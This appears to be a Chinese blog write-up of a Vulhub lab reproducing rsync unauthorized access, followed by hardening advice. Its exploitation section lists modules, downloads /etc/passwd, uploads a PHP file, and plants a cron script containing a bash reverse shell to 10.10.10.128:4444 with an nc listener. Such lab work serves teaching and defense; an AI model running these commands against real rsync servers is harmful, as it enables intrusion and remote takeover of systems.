Rsync未授权访问

Rsync简介

rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。 rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,而且可以通过ssh方式来传输文件,这样其保密性也非常好

Rsync配置文件&常见配置项

默认配置文件路径:/etc/rsync.conf

默认端口:873

motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。

Rsync基本命令

命令:

Rsync [-avrlptgoD] [-e ssh] [user@hostIP:/dir] [/local/path]

-v 观察模式,输出更多资讯

-q 与 –v 相反,仅显示错误信息

-r 递归复制,针对目录

-u 仅更新较新的文件

-l 复制连接的属性

-p 复制时保持属性不变

-g 保存原有群组

-o 保存原有拥有人

-D 保存原有装置属性

-t 保存原有时间属性

-I 忽略更新时间属性,档案比对较快

-z 加上压缩参数

-e 使用协议通道,例如ssh,-e ssh

-a 相对于-rlptgoD,所以-a最常用

漏洞利用

连接&&读取文件

rsync rsync://192.168.124.153:873/

rsync rsync://192.168.124.153:873/src/

root@kali:/# rsync rsync://192.168.124.153:873/
src src path
root@kali:/# rsync rsync://192.168.124.153:873/src/
drwxr-xr-x 4,096 2020/09/09 11:22:20 .
-rwxr-xr-x 0 2020/09/09 11:22:20 .dockerenv
-rwxr-xr-x 101 2020/07/26 18:13:18 docker-entrypoint.sh
drwxr-xr-x 4,096 2018/01/22 02:42:04 bin
drwxr-xr-x 4,096 2017/07/13 21:01:05 boot
drwxr-xr-x 4,096 2020/09/09 11:22:19 data
drwxr-xr-x 340 2020/09/09 22:48:04 dev
drwxr-xr-x 4,096 2020/09/09 22:52:12 etc
drwxr-xr-x 4,096 2017/07/13 21:01:05 home
drwxr-xr-x 4,096 2018/01/22 02:42:05 lib
drwxr-xr-x 4,096 2017/10/09 08:00:00 lib64
drwxr-xr-x 4,096 2017/10/09 08:00:00 media
drwxr-xr-x 4,096 2017/10/09 08:00:00 mnt
drwxr-xr-x 4,096 2017/10/09 08:00:00 opt
dr-xr-xr-x 0 2020/09/09 22:48:04 proc
drwx------ 4,096 2020/09/09 23:05:08 root
drwxr-xr-x 4,096 2020/09/09 23:08:14 run
drwxr-xr-x 4,096 2017/10/09 08:00:00 sbin
drwxr-xr-x 4,096 2017/10/09 08:00:00 srv
dr-xr-xr-x 0 2020/09/09 22:48:04 sys
drwxrwxrwt 4,096 2020/09/09 22:48:33 tmp
drwxr-xr-x 4,096 2017/10/09 08:00:00 usr
drwxr-xr-x 4,096 2017/10/09 08:00:00 var
root@kali:/# rsync rsync://192.168.124.153:873/src/
drwxr-xr-x 4,096 2020/09/09 11:22:20 .
-rwxr-xr-x 0 2020/09/09 11:22:20 .dockerenv
-rwxr-xr-x 101 2020/07/26 18:13:18 docker-entrypoint.sh
drwxr-xr-x 4,096 2018/01/22 02:42:04 bin
drwxr-xr-x 4,096 2017/07/13 21:01:05 boot
drwxr-xr-x 4,096 2020/09/09 11:22:19 data
drwxr-xr-x 340 2020/09/09 22:48:04 dev
drwxr-xr-x 4,096 2020/09/09 22:52:12 etc
drwxr-xr-x 4,096 2017/07/13 21:01:05 home
drwxr-xr-x 4,096 2018/01/22 02:42:05 lib
drwxr-xr-x 4,096 2017/10/09 08:00:00 lib64
drwxr-xr-x 4,096 2017/10/09 08:00:00 media
drwxr-xr-x 4,096 2017/10/09 08:00:00 mnt
drwxr-xr-x 4,096 2017/10/09 08:00:00 opt
dr-xr-xr-x 0 2020/09/09 22:48:04 proc
drwx------ 4,096 2020/09/09 23:05:08 root
drwxr-xr-x 4,096 2020/09/09 23:08:14 run
drwxr-xr-x 4,096 2017/10/09 08:00:00 sbin
drwxr-xr-x 4,096 2017/10/09 08:00:00 srv
dr-xr-xr-x 0 2020/09/09 22:48:04 sys
drwxrwxrwt 4,096 2020/09/09 22:48:33 tmp
drwxr-xr-x 4,096 2017/10/09 08:00:00 usr
drwxr-xr-x 4,096 2017/10/09 08:00:00 var

下载文件

下载etc/passwd:

命令格式:rsync rsync://IP:port/src/etc/passwd 目标路径
例如:
rsync rsync://192.168.124.153:873/src/etc/passwd /tmp/tmp/
root@kali:/# cat /tmp/tmp/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

上传文件

如果有相应的jsp/asp/php环境可以写一句话

下面以phpinfo为例

攻击机:

root@kali:/# echo "<?php phpinfo()  ?>" > phpinfo.php
root@kali:/# cat ./phpinfo.php
<?php phpinfo() ?>
root@kali:/# rsync ./phpinfo.php rsync://192.168.124.153:873/src/home/

靶机:

root@4448da0725bd:/# ls
bin data docker-entrypoint.sh home lib64 mnt proc run srv tmp var
boot dev etc lib media opt root sbin sys usr
root@4448da0725bd:/# cd home/
root@4448da0725bd:/home# ls
phpinfo.php
root@4448da0725bd:/home# cat phpinfo.php
<?php phpinfo() ?>

反弹shell

网上只看到了利用定时任务cron反弹shell

1.先查看定时任务

root@kali:/# rsync rsync://192.168.124.153:873/src/etc/crontab
-rw-r--r-- 722 2019/03/22 03:45:10 crontab

2.将定时任务文件下载下来

rsync rsync://192.168.124.153/src/etc/crontab /tmp/tmp/crontab.txt

我的内容为:

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do. SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

大致意思为每17分钟调用一次/etc/cron.hourly

创建shell文件

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

授权shell文件

chmod 777 shell

上传shell文件至靶机

root@kali:/# rsync -av /tmp/tmp/shell rsync://192.168.124.153:873/src/etc/cron.hourly
sending incremental file list
shell sent 154 bytes received 35 bytes 18.00 bytes/sec
total size is 63 speedup is 0.33

攻击机开启nc监听相应端口

nc -lvp 4444

安全配置&&修复建议

配置认证用户名或者密码
host allow/deny 来控制接入源IP
uid和gid,使用足够但最小权限的账号进行
必要时候可以配置只读
非必要应该仅限制配置路径下可访问

1.修改指定端口

配置文件不存在修改指定端口的选项,可以在启动命令行通过参数指定

/usr/local/rsync/bin.rsync --port=878 --daemon

查看进程检测是否更改端口

ps -ef | grep rsync

2.禁止匿名访问

配置文件/etc/rsync.conf中增加 auth users = test

若未包含auth users即为匿名访问

参考文章

https://www.jianshu.com/p/85e368193dc2

https://www.cnblogs.com/KevinGeorge/p/9648028.html

https://www.cnblogs.com/leixiao-/p/10227086.html

https://paper.seebug.org/category/404team/

http://www.91ri.org/11093.html

【Vulhub】Rsync未授权访问漏洞复现的更多相关文章

  1. rsync未授权访问漏洞复现

    rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...

  2. Rsync未授权访问漏洞的利用和防御

    首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...

  3. jboss 未授权访问漏洞复现

    jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...

  4. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

  5. [转帖]Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...

  6. Redis未授权访问漏洞复现与利用

    漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...

  7. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  8. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  9. Jboss未授权访问漏洞复现

    一.前言 漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码. 二.环境配置 使用docker搭建环境 ...

随机推荐

  1. JavaScript中使用eval()方法解析json串

    最近在js用到了eval()方法,在这里做个笔记 当时是这么用的:data = eval("("+data+")"); data为后台向前台传送的一个json串 ...

  2. 两个有序数组合并为一个有序数组---python

    def merge(a, b): """ 合并2个有序数组,默认a,b都是从小到大的有序数组 """ # 1.临时变量 i, j = 0, ...

  3. 流媒体传输协议(rtp/rtcp/rtsp/rtmp/mms/hls)转

    常用的流媒体协议主要有HTTP渐进下载和基于RTSP/RTP的实时流媒体协议两类.在流式传输的实现方案中,一般采用HTTP/TCP来传输控制信息,而用RTP/UDP来传输实时多媒体数据. 1 实时传输 ...

  4. KeepAlive详解(转)

    一.什么是KeepAlive? 首先,我们要明确我们谈的是TCP的 KeepAlive 还是HTTP的 Keep-Alive.TCP的KeepAlive和HTTP的Keep-Alive是完全不同的概念 ...

  5. s3cmd的使用

    目录 1. 安装s3cmd 2. 配置s3cmd 3. 使用s3cmd [前言] s3cmd 是用于创建S3桶,上传,检索和管理数据到对象存储命令行实用程序. 本文将指导linux下安装s3cmd程序 ...

  6. java基础---类和对象(2)

    一.继承(extends) 面向对象的三大特性之一,当多个类中存在相同属性和行为时,将这些内容抽取到一个公共类中,让多个类(子类)吸收公共类(父类.超类)中已有特征和行为,而在多个类型只需要编写自己独 ...

  7. Linux账号和权限管理(第二回合)

    一.组账号文件二.添加组账号groupadd三.添加删除组成员gpasswd四.删除组账号groupdel五.查询账号信息finger六.文件/目录的权限和归属七.设置文件和目录的归属chown 一. ...

  8. web自动化测试(2):选择selenium优势?与PhantomJS/QTP/Monkey对比

    上篇 <web自动化测试(1):再谈UI发展史与UI.功能自动化测试>,自动化测试工具众多, PC端常用的功能自动化测试工具 Selenium:开源工具集,用于回归功能测试或者系统用例说明 ...

  9. 用Pygal画一个英雄能力的图

    效果图: 这是在google浏览器下打开的html. play.py #!/usr/bin/env python # _*_ coding: UTF-8 _*_ """= ...

  10. golang可执行文件瘦身(缩小文件大小)

    起因 golang部署起来极其遍历,但有时候希望对可执行文件进行瘦身(缩小文件大小) 尝试 情况允许情况下,交叉编译为32位 删除不必要的符号表.调试信息 尝试用对应平台的upx打压缩壳 解决 经过多 ...